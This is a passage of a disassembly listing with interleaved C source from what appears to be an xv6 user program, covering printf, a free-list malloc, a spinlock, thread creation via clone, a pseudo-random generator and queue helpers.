1ff3: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
1ff6: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
1ffd: e9 7c 01 00 00 jmp 217e <printf+0x19e>
c = fmt[i] & 0xff;
2002: 8b 55 0c mov 0xc(%ebp),%edx
2005: 8b 45 f0 mov -0x10(%ebp),%eax
2008: 01 d0 add %edx,%eax
200a: 0f b6 00 movzbl (%eax),%eax
200d: 0f be c0 movsbl %al,%eax
2010: 25 ff 00 00 00 and $0xff,%eax
2015: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
2018: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
201c: 75 2c jne 204a <printf+0x6a>
if(c == '%'){
201e: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
2022: 75 0c jne 2030 <printf+0x50>
state = '%';
2024: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
202b: e9 4a 01 00 00 jmp 217a <printf+0x19a>
} else {
putc(fd, c);
2030: 8b 45 e4 mov -0x1c(%ebp),%eax
2033: 0f be c0 movsbl %al,%eax
2036: 89 44 24 04 mov %eax,0x4(%esp)
203a: 8b 45 08 mov 0x8(%ebp),%eax
203d: 89 04 24 mov %eax,(%esp)
2040: e8 bb fe ff ff call 1f00 <putc>
2045: e9 30 01 00 00 jmp 217a <printf+0x19a>
}
} else if(state == '%'){
204a: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
204e: 0f 85 26 01 00 00 jne 217a <printf+0x19a>
if(c == 'd'){
2054: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
2058: 75 2d jne 2087 <printf+0xa7>
printint(fd, *ap, 10, 1);
205a: 8b 45 e8 mov -0x18(%ebp),%eax
205d: 8b 00 mov (%eax),%eax
205f: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
2066: 00
2067: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
206e: 00
206f: 89 44 24 04 mov %eax,0x4(%esp)
2073: 8b 45 08 mov 0x8(%ebp),%eax
2076: 89 04 24 mov %eax,(%esp)
2079: e8 aa fe ff ff call 1f28 <printint>
ap++;
207e: 83 45 e8 04 addl $0x4,-0x18(%ebp)
2082: e9 ec 00 00 00 jmp 2173 <printf+0x193>
} else if(c == 'x' || c == 'p'){
2087: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
208b: 74 06 je 2093 <printf+0xb3>
208d: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
2091: 75 2d jne 20c0 <printf+0xe0>
printint(fd, *ap, 16, 0);
2093: 8b 45 e8 mov -0x18(%ebp),%eax
2096: 8b 00 mov (%eax),%eax
2098: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
209f: 00
20a0: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
20a7: 00
20a8: 89 44 24 04 mov %eax,0x4(%esp)
20ac: 8b 45 08 mov 0x8(%ebp),%eax
20af: 89 04 24 mov %eax,(%esp)
20b2: e8 71 fe ff ff call 1f28 <printint>
ap++;
20b7: 83 45 e8 04 addl $0x4,-0x18(%ebp)
20bb: e9 b3 00 00 00 jmp 2173 <printf+0x193>
} else if(c == 's'){
20c0: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
20c4: 75 45 jne 210b <printf+0x12b>
s = (char*)*ap;
20c6: 8b 45 e8 mov -0x18(%ebp),%eax
20c9: 8b 00 mov (%eax),%eax
20cb: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
20ce: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
20d2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
20d6: 75 09 jne 20e1 <printf+0x101>
s = "(null)";
20d8: c7 45 f4 7b 27 00 00 movl $0x277b,-0xc(%ebp)
while(*s != 0){
20df: eb 1e jmp 20ff <printf+0x11f>
20e1: eb 1c jmp 20ff <printf+0x11f>
putc(fd, *s);
20e3: 8b 45 f4 mov -0xc(%ebp),%eax
20e6: 0f b6 00 movzbl (%eax),%eax
20e9: 0f be c0 movsbl %al,%eax
20ec: 89 44 24 04 mov %eax,0x4(%esp)
20f0: 8b 45 08 mov 0x8(%ebp),%eax
20f3: 89 04 24 mov %eax,(%esp)
20f6: e8 05 fe ff ff call 1f00 <putc>
s++;
20fb: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
20ff: 8b 45 f4 mov -0xc(%ebp),%eax
2102: 0f b6 00 movzbl (%eax),%eax
2105: 84 c0 test %al,%al
2107: 75 da jne 20e3 <printf+0x103>
2109: eb 68 jmp 2173 <printf+0x193>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
210b: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
210f: 75 1d jne 212e <printf+0x14e>
putc(fd, *ap);
2111: 8b 45 e8 mov -0x18(%ebp),%eax
2114: 8b 00 mov (%eax),%eax
2116: 0f be c0 movsbl %al,%eax
2119: 89 44 24 04 mov %eax,0x4(%esp)
211d: 8b 45 08 mov 0x8(%ebp),%eax
2120: 89 04 24 mov %eax,(%esp)
2123: e8 d8 fd ff ff call 1f00 <putc>
ap++;
2128: 83 45 e8 04 addl $0x4,-0x18(%ebp)
212c: eb 45 jmp 2173 <printf+0x193>
} else if(c == '%'){
212e: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
2132: 75 17 jne 214b <printf+0x16b>
putc(fd, c);
2134: 8b 45 e4 mov -0x1c(%ebp),%eax
2137: 0f be c0 movsbl %al,%eax
213a: 89 44 24 04 mov %eax,0x4(%esp)
213e: 8b 45 08 mov 0x8(%ebp),%eax
2141: 89 04 24 mov %eax,(%esp)
2144: e8 b7 fd ff ff call 1f00 <putc>
2149: eb 28 jmp 2173 <printf+0x193>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
214b: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
2152: 00
2153: 8b 45 08 mov 0x8(%ebp),%eax
2156: 89 04 24 mov %eax,(%esp)
2159: e8 a2 fd ff ff call 1f00 <putc>
putc(fd, c);
215e: 8b 45 e4 mov -0x1c(%ebp),%eax
2161: 0f be c0 movsbl %al,%eax
2164: 89 44 24 04 mov %eax,0x4(%esp)
2168: 8b 45 08 mov 0x8(%ebp),%eax
216b: 89 04 24 mov %eax,(%esp)
216e: e8 8d fd ff ff call 1f00 <putc>
}
state = 0;
2173: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
217a: 83 45 f0 01 addl $0x1,-0x10(%ebp)
217e: 8b 55 0c mov 0xc(%ebp),%edx
2181: 8b 45 f0 mov -0x10(%ebp),%eax
2184: 01 d0 add %edx,%eax
2186: 0f b6 00 movzbl (%eax),%eax
2189: 84 c0 test %al,%al
218b: 0f 85 71 fe ff ff jne 2002 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
2191: c9 leave
2192: c3 ret
2193: 90 nop
00002194 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
2194: 55 push %ebp
2195: 89 e5 mov %esp,%ebp
2197: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
219a: 8b 45 08 mov 0x8(%ebp),%eax
219d: 83 e8 08 sub $0x8,%eax
21a0: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
21a3: a1 7c 2c 00 00 mov 0x2c7c,%eax
21a8: 89 45 fc mov %eax,-0x4(%ebp)
21ab: eb 24 jmp 21d1 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
21ad: 8b 45 fc mov -0x4(%ebp),%eax
21b0: 8b 00 mov (%eax),%eax
21b2: 3b 45 fc cmp -0x4(%ebp),%eax
21b5: 77 12 ja 21c9 <free+0x35>
21b7: 8b 45 f8 mov -0x8(%ebp),%eax
21ba: 3b 45 fc cmp -0x4(%ebp),%eax
21bd: 77 24 ja 21e3 <free+0x4f>
21bf: 8b 45 fc mov -0x4(%ebp),%eax
21c2: 8b 00 mov (%eax),%eax
21c4: 3b 45 f8 cmp -0x8(%ebp),%eax
21c7: 77 1a ja 21e3 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
21c9: 8b 45 fc mov -0x4(%ebp),%eax
21cc: 8b 00 mov (%eax),%eax
21ce: 89 45 fc mov %eax,-0x4(%ebp)
21d1: 8b 45 f8 mov -0x8(%ebp),%eax
21d4: 3b 45 fc cmp -0x4(%ebp),%eax
21d7: 76 d4 jbe 21ad <free+0x19>
21d9: 8b 45 fc mov -0x4(%ebp),%eax
21dc: 8b 00 mov (%eax),%eax
21de: 3b 45 f8 cmp -0x8(%ebp),%eax
21e1: 76 ca jbe 21ad <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
21e3: 8b 45 f8 mov -0x8(%ebp),%eax
21e6: 8b 40 04 mov 0x4(%eax),%eax
21e9: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
21f0: 8b 45 f8 mov -0x8(%ebp),%eax
21f3: 01 c2 add %eax,%edx
21f5: 8b 45 fc mov -0x4(%ebp),%eax
21f8: 8b 00 mov (%eax),%eax
21fa: 39 c2 cmp %eax,%edx
21fc: 75 24 jne 2222 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
21fe: 8b 45 f8 mov -0x8(%ebp),%eax
2201: 8b 50 04 mov 0x4(%eax),%edx
2204: 8b 45 fc mov -0x4(%ebp),%eax
2207: 8b 00 mov (%eax),%eax
2209: 8b 40 04 mov 0x4(%eax),%eax
220c: 01 c2 add %eax,%edx
220e: 8b 45 f8 mov -0x8(%ebp),%eax
2211: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
2214: 8b 45 fc mov -0x4(%ebp),%eax
2217: 8b 00 mov (%eax),%eax
2219: 8b 10 mov (%eax),%edx
221b: 8b 45 f8 mov -0x8(%ebp),%eax
221e: 89 10 mov %edx,(%eax)
2220: eb 0a jmp 222c <free+0x98>
} else
bp->s.ptr = p->s.ptr;
2222: 8b 45 fc mov -0x4(%ebp),%eax
2225: 8b 10 mov (%eax),%edx
2227: 8b 45 f8 mov -0x8(%ebp),%eax
222a: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
222c: 8b 45 fc mov -0x4(%ebp),%eax
222f: 8b 40 04 mov 0x4(%eax),%eax
2232: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
2239: 8b 45 fc mov -0x4(%ebp),%eax
223c: 01 d0 add %edx,%eax
223e: 3b 45 f8 cmp -0x8(%ebp),%eax
2241: 75 20 jne 2263 <free+0xcf>
p->s.size += bp->s.size;
2243: 8b 45 fc mov -0x4(%ebp),%eax
2246: 8b 50 04 mov 0x4(%eax),%edx
2249: 8b 45 f8 mov -0x8(%ebp),%eax
224c: 8b 40 04 mov 0x4(%eax),%eax
224f: 01 c2 add %eax,%edx
2251: 8b 45 fc mov -0x4(%ebp),%eax
2254: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
2257: 8b 45 f8 mov -0x8(%ebp),%eax
225a: 8b 10 mov (%eax),%edx
225c: 8b 45 fc mov -0x4(%ebp),%eax
225f: 89 10 mov %edx,(%eax)
2261: eb 08 jmp 226b <free+0xd7>
} else
p->s.ptr = bp;
2263: 8b 45 fc mov -0x4(%ebp),%eax
2266: 8b 55 f8 mov -0x8(%ebp),%edx
2269: 89 10 mov %edx,(%eax)
freep = p;
226b: 8b 45 fc mov -0x4(%ebp),%eax
226e: a3 7c 2c 00 00 mov %eax,0x2c7c
}
2273: c9 leave
2274: c3 ret
00002275 <morecore>:
static Header*
morecore(uint nu)
{
2275: 55 push %ebp
2276: 89 e5 mov %esp,%ebp
2278: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
227b: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
2282: 77 07 ja 228b <morecore+0x16>
nu = 4096;
2284: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
228b: 8b 45 08 mov 0x8(%ebp),%eax
228e: c1 e0 03 shl $0x3,%eax
2291: 89 04 24 mov %eax,(%esp)
2294: e8 27 fc ff ff call 1ec0 <sbrk>
2299: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
229c: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
22a0: 75 07 jne 22a9 <morecore+0x34>
return 0;
22a2: b8 00 00 00 00 mov $0x0,%eax
22a7: eb 22 jmp 22cb <morecore+0x56>
hp = (Header*)p;
22a9: 8b 45 f4 mov -0xc(%ebp),%eax
22ac: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
22af: 8b 45 f0 mov -0x10(%ebp),%eax
22b2: 8b 55 08 mov 0x8(%ebp),%edx
22b5: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
22b8: 8b 45 f0 mov -0x10(%ebp),%eax
22bb: 83 c0 08 add $0x8,%eax
22be: 89 04 24 mov %eax,(%esp)
22c1: e8 ce fe ff ff call 2194 <free>
return freep;
22c6: a1 7c 2c 00 00 mov 0x2c7c,%eax
}
22cb: c9 leave
22cc: c3 ret
000022cd <malloc>:
void*
malloc(uint nbytes)
{
22cd: 55 push %ebp
22ce: 89 e5 mov %esp,%ebp
22d0: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
22d3: 8b 45 08 mov 0x8(%ebp),%eax
22d6: 83 c0 07 add $0x7,%eax
22d9: c1 e8 03 shr $0x3,%eax
22dc: 83 c0 01 add $0x1,%eax
22df: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
22e2: a1 7c 2c 00 00 mov 0x2c7c,%eax
22e7: 89 45 f0 mov %eax,-0x10(%ebp)
22ea: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
22ee: 75 23 jne 2313 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
22f0: c7 45 f0 74 2c 00 00 movl $0x2c74,-0x10(%ebp)
22f7: 8b 45 f0 mov -0x10(%ebp),%eax
22fa: a3 7c 2c 00 00 mov %eax,0x2c7c
22ff: a1 7c 2c 00 00 mov 0x2c7c,%eax
2304: a3 74 2c 00 00 mov %eax,0x2c74
base.s.size = 0;
2309: c7 05 78 2c 00 00 00 movl $0x0,0x2c78
2310: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
2313: 8b 45 f0 mov -0x10(%ebp),%eax
2316: 8b 00 mov (%eax),%eax
2318: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
231b: 8b 45 f4 mov -0xc(%ebp),%eax
231e: 8b 40 04 mov 0x4(%eax),%eax
2321: 3b 45 ec cmp -0x14(%ebp),%eax
2324: 72 4d jb 2373 <malloc+0xa6>
if(p->s.size == nunits)
2326: 8b 45 f4 mov -0xc(%ebp),%eax
2329: 8b 40 04 mov 0x4(%eax),%eax
232c: 3b 45 ec cmp -0x14(%ebp),%eax
232f: 75 0c jne 233d <malloc+0x70>
prevp->s.ptr = p->s.ptr;
2331: 8b 45 f4 mov -0xc(%ebp),%eax
2334: 8b 10 mov (%eax),%edx
2336: 8b 45 f0 mov -0x10(%ebp),%eax
2339: 89 10 mov %edx,(%eax)
233b: eb 26 jmp 2363 <malloc+0x96>
else {
p->s.size -= nunits;
233d: 8b 45 f4 mov -0xc(%ebp),%eax
2340: 8b 40 04 mov 0x4(%eax),%eax
2343: 2b 45 ec sub -0x14(%ebp),%eax
2346: 89 c2 mov %eax,%edx
2348: 8b 45 f4 mov -0xc(%ebp),%eax
234b: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
234e: 8b 45 f4 mov -0xc(%ebp),%eax
2351: 8b 40 04 mov 0x4(%eax),%eax
2354: c1 e0 03 shl $0x3,%eax
2357: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
235a: 8b 45 f4 mov -0xc(%ebp),%eax
235d: 8b 55 ec mov -0x14(%ebp),%edx
2360: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
2363: 8b 45 f0 mov -0x10(%ebp),%eax
2366: a3 7c 2c 00 00 mov %eax,0x2c7c
return (void*)(p + 1);
236b: 8b 45 f4 mov -0xc(%ebp),%eax
236e: 83 c0 08 add $0x8,%eax
2371: eb 38 jmp 23ab <malloc+0xde>
}
if(p == freep)
2373: a1 7c 2c 00 00 mov 0x2c7c,%eax
2378: 39 45 f4 cmp %eax,-0xc(%ebp)
237b: 75 1b jne 2398 <malloc+0xcb>
if((p = morecore(nunits)) == 0)
237d: 8b 45 ec mov -0x14(%ebp),%eax
2380: 89 04 24 mov %eax,(%esp)
2383: e8 ed fe ff ff call 2275 <morecore>
2388: 89 45 f4 mov %eax,-0xc(%ebp)
238b: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
238f: 75 07 jne 2398 <malloc+0xcb>
return 0;
2391: b8 00 00 00 00 mov $0x0,%eax
2396: eb 13 jmp 23ab <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
2398: 8b 45 f4 mov -0xc(%ebp),%eax
239b: 89 45 f0 mov %eax,-0x10(%ebp)
239e: 8b 45 f4 mov -0xc(%ebp),%eax
23a1: 8b 00 mov (%eax),%eax
23a3: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
23a6: e9 70 ff ff ff jmp 231b <malloc+0x4e>
}
23ab: c9 leave
23ac: c3 ret
23ad: 66 90 xchg %ax,%ax
23af: 90 nop
000023b0 <xchg>:
asm volatile("sti");
}
static inline uint
xchg(volatile uint *addr, uint newval)
{
23b0: 55 push %ebp
23b1: 89 e5 mov %esp,%ebp
23b3: 83 ec 10 sub $0x10,%esp
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
23b6: 8b 55 08 mov 0x8(%ebp),%edx
23b9: 8b 45 0c mov 0xc(%ebp),%eax
23bc: 8b 4d 08 mov 0x8(%ebp),%ecx
23bf: f0 87 02 lock xchg %eax,(%edx)
23c2: 89 45 fc mov %eax,-0x4(%ebp)
"+m" (*addr), "=a" (result) :
"1" (newval) :
"cc");
return result;
23c5: 8b 45 fc mov -0x4(%ebp),%eax
}
23c8: c9 leave
23c9: c3 ret
000023ca <lock_init>:
#include "x86.h"
#include "proc.h"
unsigned long rands = 1;
void lock_init(lock_t *lock){
23ca: 55 push %ebp
23cb: 89 e5 mov %esp,%ebp
lock->locked = 0;
23cd: 8b 45 08 mov 0x8(%ebp),%eax
23d0: c7 00 00 00 00 00 movl $0x0,(%eax)
}
23d6: 5d pop %ebp
23d7: c3 ret
000023d8 <lock_acquire>:
void lock_acquire(lock_t *lock){
23d8: 55 push %ebp
23d9: 89 e5 mov %esp,%ebp
23db: 83 ec 08 sub $0x8,%esp
while(xchg(&lock->locked,1) != 0);
23de: 90 nop
23df: 8b 45 08 mov 0x8(%ebp),%eax
23e2: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
23e9: 00
23ea: 89 04 24 mov %eax,(%esp)
23ed: e8 be ff ff ff call 23b0 <xchg>
23f2: 85 c0 test %eax,%eax
23f4: 75 e9 jne 23df <lock_acquire+0x7>
}
23f6: c9 leave
23f7: c3 ret
000023f8 <lock_release>:
void lock_release(lock_t *lock){
23f8: 55 push %ebp
23f9: 89 e5 mov %esp,%ebp
23fb: 83 ec 08 sub $0x8,%esp
xchg(&lock->locked,0);
23fe: 8b 45 08 mov 0x8(%ebp),%eax
2401: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
2408: 00
2409: 89 04 24 mov %eax,(%esp)
240c: e8 9f ff ff ff call 23b0 <xchg>
}
2411: c9 leave
2412: c3 ret
00002413 <thread_create>:
void *thread_create(void(*start_routine)(void*), void *arg){
2413: 55 push %ebp
2414: 89 e5 mov %esp,%ebp
2416: 83 ec 28 sub $0x28,%esp
int tid;
void * stack = malloc(2 * 4096);
2419: c7 04 24 00 20 00 00 movl $0x2000,(%esp)
2420: e8 a8 fe ff ff call 22cd <malloc>
2425: 89 45 f4 mov %eax,-0xc(%ebp)
void *garbage_stack = stack;
2428: 8b 45 f4 mov -0xc(%ebp),%eax
242b: 89 45 f0 mov %eax,-0x10(%ebp)
// printf(1,"start routine addr : %d\n",(uint)start_routine);
if((uint)stack % 4096){
242e: 8b 45 f4 mov -0xc(%ebp),%eax
2431: 25 ff 0f 00 00 and $0xfff,%eax
2436: 85 c0 test %eax,%eax
2438: 74 14 je 244e <thread_create+0x3b>
stack = stack + (4096 - (uint)stack % 4096);
243a: 8b 45 f4 mov -0xc(%ebp),%eax
243d: 25 ff 0f 00 00 and $0xfff,%eax
2442: 89 c2 mov %eax,%edx
2444: b8 00 10 00 00 mov $0x1000,%eax
2449: 29 d0 sub %edx,%eax
244b: 01 45 f4 add %eax,-0xc(%ebp)
}
if (stack == 0){
244e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2452: 75 1b jne 246f <thread_create+0x5c>
printf(1,"malloc fail \n");
2454: c7 44 24 04 82 27 00 movl $0x2782,0x4(%esp)
245b: 00
245c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2463: e8 78 fb ff ff call 1fe0 <printf>
return 0;
2468: b8 00 00 00 00 mov $0x0,%eax
246d: eb 6f jmp 24de <thread_create+0xcb>
}
tid = clone((uint)stack,PSIZE,(uint)start_routine,(int)arg);
246f: 8b 4d 0c mov 0xc(%ebp),%ecx
2472: 8b 55 08 mov 0x8(%ebp),%edx
2475: 8b 45 f4 mov -0xc(%ebp),%eax
2478: 89 4c 24 0c mov %ecx,0xc(%esp)
247c: 89 54 24 08 mov %edx,0x8(%esp)
2480: c7 44 24 04 00 10 00 movl $0x1000,0x4(%esp)
2487: 00
2488: 89 04 24 mov %eax,(%esp)
248b: e8 48 fa ff ff call 1ed8 <clone>
2490: 89 45 ec mov %eax,-0x14(%ebp)
if(tid < 0){
2493: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
2497: 79 1b jns 24b4 <thread_create+0xa1>
printf(1,"clone fails\n");
2499: c7 44 24 04 90 27 00 movl $0x2790,0x4(%esp)
24a0: 00
24a1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
24a8: e8 33 fb ff ff call 1fe0 <printf>
return 0;
24ad: b8 00 00 00 00 mov $0x0,%eax
24b2: eb 2a jmp 24de <thread_create+0xcb>
}
if(tid > 0){
24b4: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
24b8: 7e 05 jle 24bf <thread_create+0xac>
//store threads on thread table
return garbage_stack;
24ba: 8b 45 f0 mov -0x10(%ebp),%eax
24bd: eb 1f jmp 24de <thread_create+0xcb>
}
if(tid == 0){
24bf: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
24c3: 75 14 jne 24d9 <thread_create+0xc6>
printf(1,"tid = 0 return \n");
24c5: c7 44 24 04 9d 27 00 movl $0x279d,0x4(%esp)
24cc: 00
24cd: c7 04 24 01 00 00 00 movl $0x1,(%esp)
24d4: e8 07 fb ff ff call 1fe0 <printf>
}
// wait();
// free(garbage_stack);
return 0;
24d9: b8 00 00 00 00 mov $0x0,%eax
}
24de: c9 leave
24df: c3 ret
000024e0 <random>:
// generate 0 -> max random number exclude max.
int random(int max){
24e0: 55 push %ebp
24e1: 89 e5 mov %esp,%ebp
rands = rands * 1664525 + 1013904233;
24e3: a1 64 2c 00 00 mov 0x2c64,%eax
24e8: 69 c0 0d 66 19 00 imul $0x19660d,%eax,%eax
24ee: 05 69 f3 6e 3c add $0x3c6ef369,%eax
24f3: a3 64 2c 00 00 mov %eax,0x2c64
return (int)(rands % max);
24f8: a1 64 2c 00 00 mov 0x2c64,%eax
24fd: 8b 4d 08 mov 0x8(%ebp),%ecx
2500: ba 00 00 00 00 mov $0x0,%edx
2505: f7 f1 div %ecx
2507: 89 d0 mov %edx,%eax
}
2509: 5d pop %ebp
250a: c3 ret
250b: 90 nop
0000250c <init_q>:
#include "queue.h"
#include "types.h"
#include "user.h"
void init_q(struct queue *q){
250c: 55 push %ebp
250d: 89 e5 mov %esp,%ebp
q->size = 0;
250f: 8b 45 08 mov 0x8(%ebp),%eax
2512: c7 00 00 00 00 00 movl $0x0,(%eax)
q->head = 0;
2518: 8b 45 08 mov 0x8(%ebp),%eax
251b: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
q->tail = 0;
2522: 8b 45 08 mov 0x8(%ebp),%eax
2525: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
252c: 5d pop %ebp
252d: c3 ret
0000252e <add_q>:
void add_q(struct queue *q, int v){
252e: 55 push %ebp
252f: 89 e5 mov %esp,%ebp
2531: 83 ec 28 sub $0x28,%esp
struct node * n = malloc(sizeof(struct node));
2534: c7 04 24 08 00 00 00 movl $0x8,(%esp)
253b: e8 8d fd ff ff call 22cd <malloc>
2540: 89 45 f4 mov %eax,-0xc(%ebp)
n->next = 0;
2543: 8b 45 f4 mov -0xc(%ebp),%eax
2546: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
n->value = v;
254d: 8b 45 f4 mov -0xc(%ebp),%eax
2550: 8b 55 0c mov 0xc(%ebp),%edx
2553: 89 10 mov %edx,(%eax)
if(q->head == 0){
2555: 8b 45 08 mov 0x8(%ebp),%eax
2558: 8b 40 04 mov 0x4(%eax),%eax
255b: 85 c0 test %eax,%eax
255d: 75 0b jne 256a <add_q+0x3c>
q->head = n;
255f: 8b 45 08 mov 0x8(%ebp),%eax
2562: 8b 55 f4 mov -0xc(%ebp),%edx
2565: 89 50 04 mov %edx,0x4(%eax)
2568: eb 0c jmp 2576 <add_q+0x48>
}else{
q->tail->next = n;
256a: 8b 45 08 mov 0x8(%ebp),%eax
256d: 8b 40 08 mov 0x8(%eax),%eax
2570: 8b 55 f4 mov -0xc(%ebp),%edx
2573: 89 50 04 mov %edx,0x4(%eax)
}
q->tail = n;
2576: 8b 45 08 mov 0x8(%ebp),%eax
2579: 8b 55 f4 mov -0xc(%ebp),%edx
257c: 89 50 08 mov %edx,0x8(%eax)
q->size++;
257f: 8b 45 08 mov 0x8(%ebp),%eax
2582: 8b 00 mov (%eax),%eax
2584: 8d 50 01 lea 0x1(%eax),%edx
2587: 8b 45 08 mov 0x8(%ebp),%eax
258a: 89 10 mov %edx,(%eax)
}
258c: c9 leave
258d: c3 ret
0000258e <empty_q>:
int empty_q(struct queue *q){
258e: 55 push %ebp
258f: 89 e5 mov %esp,%ebp
if(q->size == 0)
2591: 8b 45 08 mov 0x8(%ebp),%eax
2594: 8b 00 mov (%eax),%eax
2596: 85 c0 test %eax,%eax
2598: 75 07 jne 25a1 <empty_q+0x13>
return 1;
259a: b8 01 00 00 00 mov $0x1,%eax
259f: eb 05 jmp 25a6 <empty_q+0x18>
else
return 0;
25a1: b8 00 00 00 00 mov $0x0,%eax
}
25a6: 5d pop %ebp
25a7: c3 ret
000025a8 <pop_q>:
int pop_q(struct queue *q){
25a8: 55 push %ebp
25a9: 89 e5 mov %esp,%ebp
25ab: 83 ec 28 sub $0x28,%esp
int val;
struct node *destroy;
if(!empty_q(q)){
25ae: 8b 45 08 mov 0x8(%ebp),%eax
25b1: 89 04 24 mov %eax,(%esp)
25b4: e8 d5 ff ff ff call 258e <empty_q>
25b9: 85 c0 test %eax,%eax
25bb: 75 5d jne 261a <pop_q+0x72>
val = q->head->value;
25bd: 8b 45 08 mov 0x8(%ebp),%eax
25c0: 8b 40 04 mov 0x4(%eax),%eax
25c3: 8b 00 mov (%eax),%eax
25c5: 89 45 f4 mov %eax,-0xc(%ebp)
destroy = q->head;
25c8: 8b 45 08 mov 0x8(%ebp),%eax
25cb: 8b 40 04 mov 0x4(%eax),%eax
25ce: 89 45 f0 mov %eax,-0x10(%ebp)
q->head = q->head->next;
25d1: 8b 45 08 mov 0x8(%ebp),%eax
25d4: 8b 40 04 mov 0x4(%eax),%eax
25d7: 8b 50 04 mov 0x4(%eax),%edx
25da: 8b 45 08 mov 0x8(%ebp),%eax
25dd: 89 50 04 mov %edx,0x4(%eax)
free(destroy);
25e0: 8b 45 f0 mov -0x10(%ebp),%eax
25e3: 89 04 24 mov %eax,(%esp)
25e6: e8 a9 fb ff ff call 2194 <free>
q->size--;
25eb: 8b 45 08 mov 0x8(%ebp),%eax
25ee: 8b 00 mov (%eax),%eax
25f0: 8d 50 ff lea -0x1(%eax),%edx
25f3: 8b 45 08 mov 0x8(%ebp),%eax
25f6: 89 10 mov %edx,(%eax)
if(q->size == 0){
25f8: 8b 45 08 mov 0x8(%ebp),%eax
25fb: 8b 00 mov (%eax),%eax
25fd: 85 c0 test %eax,%eax
25ff: 75 14 jne 2615 <pop_q+0x6d>
q->head = 0;
2601: 8b 45 08 mov 0x8(%ebp),%eax
2604: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
q->tail = 0;
260b: 8b 45 08 mov 0x8(%ebp),%eax
260e: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
